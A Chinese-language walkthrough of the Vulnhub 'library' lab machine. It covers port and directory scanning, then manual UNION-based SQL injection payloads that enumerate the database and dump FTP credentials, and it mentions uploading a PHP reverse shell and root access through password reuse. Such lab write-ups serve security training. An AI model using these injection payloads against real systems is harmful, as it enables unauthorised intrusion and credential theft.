library: Vulnhub Walkthrough

网络主机探测：

端口主机扫描：

╰─ nmap -p1-65535 -sV -A -O -sT 10.10.202.136

21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)

FTP点弱口令爆破下，看下有无收获

从web入手进行尝试

访问默认页面，进行目录爆破

---- Scanning URL: http://10.10.202.136/ ----
+ http://10.10.202.136/index.html (CODE:200|SIZE:11321)
+ http://10.10.202.136/server-status (CODE:403|SIZE:301)

接下来加大字典进行爆破目录吧

╰─ gobuster -u  http://10.10.202.136 -w /opt/SecLists/Discovery/Web-Content/Common-PHP-Filenames.txt

[+] Timeout : 10s
=====================================================
2019/08/01 10:42:45 Starting gobuster
=====================================================
/library.php (Status: 200)
=====================================================
2019/08/01 10:42:48 Finished

http://10.10.202.136/library.php

使用burp进行抓包测试

urldecode {"lastviewed"=="Netherlands"}

直接抓包，进行post注入

╰─ sqlmap -r target.txt --batch --risk=3 --level=5

一直报错，跑不出来，那么就手工注入：

payload: lastviewed="{"lastviewed"=="'Netherlands'"}"

payload：lastviewed="{"lastviewed"=="'Netherlands''"}" #false

进行闭合

payload：

lastviewed="{"lastviewed"=="'Netherlands' and '1'='1'--+"}"

使用union猜解数据库版本信息：

payload：lastviewed="{"lastviewed"=="'Netherlands' union select (CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()))+--+"}"

payload：lastviewed="{"lastviewed"=="'Netherlands' union select database()"}"

version: mysql 5.7.27

database: library

user: username@localhost

枚举表名：

countries

lastviewed="{"lastviewed"=="'Netherlands' union select table_name from information_schema.tables where table_schema='library'"}"

枚举还是否有其他的表存在

lastviewed="{"lastviewed"=="'Netherlands' union select table_name from information_schema.tables where table_schema='library' and table_name not in ('countries')"}"

We couldn't find any information for access

枚举access表的列名

lastviewed="{"lastviewed"=="'Netherlands' union select column_name from information_schema.columns where table_name='access'"}"

We couldn't find any information for password

lastviewed="{"lastviewed"=="'Netherlands' union select column_name from information_schema.columns where table_name='access' and column_name not in ('password')"}"

We couldn't find any information for username

lastviewed="{"lastviewed"=="'Netherlands' union select column_name from information_schema.columns where table_name='access' and column_name not in ('password','username')"}"

We couldn't find any information for service

lastviewed="{"lastviewed"=="'Netherlands' union select column_name from information_schema.columns where table_name='access' and column_name not in ('password','username','service')"}"

We couldn't find any information for id

lastviewed="{"lastviewed"=="'Netherlands' union select column_name from information_schema.columns where table_name='access' and column_name not in ('password','username','service','id')"}"

We couldn't find any information for Netherlands

枚举完成，字段名为：

id,service,username,password,Netherlands

lastviewed="{"lastviewed"=="'Netherlands' union select username from access"}"

We couldn't find any information for globus

lastviewed="{"lastviewed"=="'Netherlands' union select password from access"}"

We couldn't find any information for AroundTheWorld

lastviewed="{"lastviewed"=="'Netherlands' union select service from access"}"

We couldn't find any information for ftp

FTP账户密码：

username globus

password AroundTheWorld

上传php-reverse shell

进行提权操作：

经过多次枚举，发现此密码为root密码

完结！